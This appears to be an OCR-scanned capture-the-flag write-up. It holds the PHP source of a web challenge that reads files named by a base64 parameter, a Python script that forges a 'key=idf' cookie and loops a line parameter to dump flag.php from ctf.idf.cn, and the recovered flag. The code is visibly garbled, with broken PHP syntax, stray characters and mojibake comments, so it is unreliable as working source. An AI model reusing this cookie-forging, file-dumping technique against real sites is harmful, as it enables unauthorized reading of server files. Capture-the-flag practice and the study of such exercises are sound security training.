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<?php

error_reporting(0);

$file=base64 decode(isset($_GET(['file'])?$ GET['file']:"");
Sline=isset($ GET|'line'])?intval($_GET|'line']):0;

if($file==") header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(

'0" =>'flag. txt',

'1' =>'index.php',

I

if(isset($_COOKIE['key']) && $§ _COOKIE['key'|=="idf"){
$file list[2]="flag.php';

}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];

}

>
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# -*- coding: utf-8 -*- # #F H L F R gL 5 RAUTF-8



# author 1

import requests #V& Furl. cookie#fE SCHFERAE ) E
import sys

cookies = {'key': "idf'} #¥% B cookies Nkey E Aidf Bl cookiesHK I

for i in range(0,20): #{EFF T FF W T H- IR T S A BAEN A H
url="http://ctf.idf.cn/game/web/40/index. php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
filename = u"C:/Users/f#i/Desktop/flag. txt"
fp = open(filename, 'a")
print(wp.text)
fp.write(wp.text)
fp.close()

print("get flag success")
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<?php $flag="wetf{idf cOOkie}'; 7>
flagBP Awetf{idf cO0kie}
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